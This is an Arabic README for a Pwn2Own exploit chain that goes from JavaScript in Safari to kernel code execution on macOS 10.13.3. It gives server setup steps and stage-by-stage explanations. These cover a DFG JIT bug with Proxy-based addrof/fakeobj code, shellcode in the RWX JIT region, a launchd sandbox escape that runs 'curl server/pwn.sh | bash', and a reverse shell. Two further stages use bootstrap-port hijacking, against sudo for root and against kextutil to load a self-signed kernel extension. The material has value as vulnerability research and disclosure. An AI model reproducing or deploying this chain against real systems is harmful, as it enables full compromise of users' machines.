
سلسلة استغلال Pwn2Own
استغلال RCE في Safari، وهروب من وضع الحماية، وLPE إلى النواة لنظام macOS 10.13.3.
قم بتثبيت nasm وtornado:
brew install nasm
pip3 install tornado
تحقق من config.py إذا أردت تغيير المضيف أو المنافذ. بعد ذلك شغّل الخادم باستخدام ./server.py وانتقل إلى الرابط المعروض.
تستخدم سلسلة الاستغلال هذه ثلاثة ثغرات مختلفة للانتقال من كود JavaScript يعمل داخل Safari إلى تنفيذ كود في وضع النواة:
سلسلة الاستغلال منفذة في ست مراحل، كل مرحلة موجودة في مجلد فرعي خاص بها:
كل مجلد فرعي (باستثناء libspc/) يحتوي على ملف باسم make.py، والذي، عند تنفيذه، يقوم بأي نوع من أوامر البناء اللازمة وينشئ قائمة بالملفات التي سيقدمها خادم الويب.
الهدف: تحقيق تنفيذ شيل كود داخل عملية WebContent المعزولة في وضع الحماية
الثغرة المستغلة: تحسين غير صحيح في مترجم DFG JIT
انظر أيضًا محاضرة BlackHat هذه
يُمثّل مترجم DFG JIT كود JavaScript في تمثيل وسيط خاص به (IR)، وهو Data Flow Graph (DFG). عادةً، يُترجم تعبير JavaScript واحد إلى تعليمة IR واحدة أو عدة تعليمات في هذا الرسم البياني. في حالة دالة المُنشئ (constructor)، يتم إصدار تعليمة CreateThis وهي المسؤولة عن تخصيص كائن this الذي تُنشئه الدالة. على سبيل المثال، الدالة function Consructor() {}، عند استدعائها بـ new، ستُترجم تقريبًا إلى:
v0 = CreateThis
return v0
بالنظر إلى AbstractInterpreter، يمكننا أن نرى أن مترجم DFG JIT يفترض أن عملية CreateThis لن ينتج عنها أي آثار جانبية بخلاف تخصيص ذاكرة (heap allocation). في الواقع، هذا الكود:
function Constructor(obj) {
return obj.x;
}
سيُترجم تقريبًا إلى تعليمات DFG التالية:
(هنا، تم نقل StructureCheck إلى بداية الدالة بواسطة TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
لكن هذا الافتراض غير صحيح، لأن كود المسار البطيء (slow path) الخاص بـ CreateThis يمكنه تنفيذ كود JavaScript عشوائي في بعض الحالات. على وجه الخصوص، باستخدام Proxy حول الدالة الفعلية، سيتم استدعاء مصيدة get لخاصية "prototype" أثناء معالج المسار البطيء الخاص بـ CreateThis لأنه يحتاج إلى جلب كائن النموذج الأولي (prototype) للكائن الذي يتم إنشاؤه:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
وبالتالي، أصبح من الممكن الآن تعديل Structure لكائن دون أن يقوم مترجم JIT بعملية bailout.
يمكن استخدام هذه الثغرة لبناء بدائيتي addrof وfakeobj كما يلي:
نُجمّع الكود لحالة JSArray بعناصر double غير مغلفة (unboxed)، ثم في دالة الاستدعاء (callback) ننتقل إلى عناصر JSValue. بعد ذلك، سيقوم كود JIT بتحميل JSValue من المصفوفة، لكنه سيتعامل مع تلك البتات على أنها double ويعيدها إلينا. الكود التالي سيُسند عنوان leakme إلى خاصية "address" للكائن المُنشأ.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
هنا نقوم بالأمر بالعكس بشكل أساسي: نُحسّن الكود لتخزين double في مصفوفة بعناصر double غير مغلفة، ثم ننتقل مجددًا إلى عناصر JSValue في دالة الاستدعاء. سيستمر الكود في كتابة الـ double المتحكم فيه بشكل غير مغلف في التخزين الخلفي. عندما نصل لاحقًا إلى عنصر المصفوفة ذلك، سيتعامل مع تلك البتات على أنها JSValue بدلاً من double. الكود التالي سيكتب الـ double غير المغلف address في المخزن الخلفي للمتغير a، والذي يمكننا بعد ذلك قراءته كـ JSValue، مما يسمح لنا "بحقن" قيم JSValue من اختيارنا في المحرك.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
وهكذا ننتهي بالقدرة على كتابة double والتعامل معه كمؤشر JSObject والعكس صحيح. يمكن استغلال ذلك كما هو موضح في مهاجمة محركات جافا سكريبت.
يحقق الاستغلال أولاً قراءة/كتابة عشوائية لذاكرة العملية عن طريق تزييف Float64Array، ثم يبحث عن منطقة JIT (المعينة بصيغة RWX) ويكتب شيل كود المرحلة الأولى هناك.
الهدف: تشغيل المرحلة 2 عن طريق كتابة ملف .dylib على القرص وتحميله عبر dlopen()
حمولة قصيرة بلغة التجميع تقوم أساسًا بما يلي:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) للحصول على مسار إلى مجلد قابل للكتابةdlopen()الهدف: الخروج من وضع الحماية
الثغرة المستغلة: نقص فحوصات وضع الحماية في واجهة برمجة "legacy_spawn" الخاصة بـ launchd
انظر أيضًا هذه المحاضرة
يُعرّض launchd نقطة نهاية RPC الخاصة بـ "legacy_spawn" كروتين 817 في النظام الفرعي 3. تفشل هذه الواجهة في التحقق مما إذا كان يجب السماح للمتصل بتشغيل عمليات، وستقوم ببساطة بتنفيذ execve لأي ثنائي على النظام نيابة عن المتصل مع وسائط متحكم فيها. نظرًا لأنه يمكن الوصول إلى launchd عبر منفذ bootstrap، فإن هذا يجعل من الممكن الهروب من وضع الحماية.
يقوم الاستغلال أساسًا بتشغيل curl server/pwn.sh | bash وبالتالي ينقل التحكم إلى المرحلة 3.
الهدف: تشغيل الآلة الحاسبة وتشغيل المراحل المتبقية
ينفّذ هذا open /Applications/Calculator.app وينشئ قشرة عكسية (reverse shell)، ثم يجلب جميع الملفات المطلوبة للمراحل المتبقية ويشغّل الاستغلالات.
الهدف: الحصول على صلاحيات الجذر عبر استغلال LPE
الثغرة المستغلة: وسيط (MitM) على منفذ bootstrap في XNU
انظر أيضًا محاضرة POC هذه
في XNU، تسمح واجهة برمجة task_set_special_port للمتصلين باستبدال منفذ bootstrap الخاص بهم، والذي يُستخدم للتواصل مع launchd. يُورّث هذا المنفذ عبر عمليات fork: العمليات الفرعية ستستخدم نفس منفذ bootstrap الذي يستخدمه الأصل. تنشأ مشكلة أمنية الآن إذا كانت العملية الفرعية أكثر امتيازًا من الأصل، كما هو الحال مثلاً مع sudo (ثنائي setuid) أو kextutil (الذي يملك صلاحية "com.apple.rootless.kext-management"). من خلال استبدال منفذ bootstrap وتنفيذ fork لعملية فرعية، يمكننا الآن الحصول على موضع وسيط بين عمليتنا الفرعية وlaunchd (والذي تتوقع عمليتنا الفرعية الوصول إليه عند إرسال الرسائل إلى منفذ bootstrap). ستطلب العملية الفرعية من launchd تحليل خدمات mach وXPC المختلفة. ومن خلال توجيه هذه الخدمات إلى منافذ أخرى نتحكم فيها، يمكننا أيضًا الحصول على موضع وسيط مع خدمات نظام عشوائية تستخدمها عمليتنا الفرعية. يعتمد الاستغلال بعد ذلك على كيفية استخدام البرنامج المُهاجَم لتلك الخدمات.
للحصول على صلاحيات الجذر، نستهدف ثنائي sudo ونعترض اتصاله مع opendirectoryd، الذي يستخدمه sudo للتحقق من بيانات الاعتماد. نقوم بتعديل الردود القادمة من opendirectoryd لجعلها تبدو كما لو أن كلمة المرور الخاصة بنا صحيحة.
يبدو أنه كانت هناك محاولة لإصلاح هذه المشكلة، حيث يتحقق libxpc (الذي يقوم بالتواصل مع launchd) من أن الردود تأتي بالفعل من عملية uid=0 وpid=1 (== launchd). ومع ذلك، هذه الفحوصات غير كافية. يمكننا تجاوزها كما يلي لتوجيه opendirectoryd إلى المنفذ الخاص بنا:
net.saelo.hax) لدى launchd باستخدام واجهة bootstrap_register2com.apple.system.opendirectoryd.api بـ net.saelo.haxكل ما تبقى الآن (من أجل تصعيد الصلاحيات إلى الجذر) هو إعادة توجيه الرسائل بين opendirectoryd وsudo، مع استبدال رد خطأ المصادقة برد نجاح.
الهدف: تحميل امتداد نواة (موقّع ذاتيًا)
الثغرة المستغلة: وسيط (MitM) على منفذ bootstrap في XNU
يستغل هذا الثغرة نفسها الموجودة في المرحلة 4، لكنه هذه المرة يستهدف kextutil. نعترض الاتصال بـ com.apple.trustd ونزيّف سلسلة الشهادات، مما يجعل kextutil يعتقد أن امتداد النواة الموقّع ذاتيًا لدينا موقّع مباشرة من Apple.
يتصرف kextutil تقريبًا على النحو التالي عندما يُطلب منه تحميل ملف .kext من القرص:
trustd للحصول على سلسلة الشهادات وتحديد ما إذا كانت شهادة الجذر موثوقةsyspolicyd. ومع ذلك، إذا تعذر الوصول إلى syspolicyd، فإن kextutil يتابع ببساطةيتيح هذا الهجوم التالي لتحميل امتدادات نواة موقّعة ذاتيًا:
com.apple.trustd إلى خدمتنا الخاصةtrustd والرد بسلسلة شهادات مثبتة برمجيًا (hardcoded) لملف .kext رسمي من Applesyspolicyd (على سبيل المثال عن طريق استبدال com.apple.security.syspolicy.kext بـ net.saelo.lolno في طلبات البحث عن الخدمة الموجهة إلى launchd)سيقوم kextutil الآن بتحميل امتداد النواة الخاص بنا إلى النواة.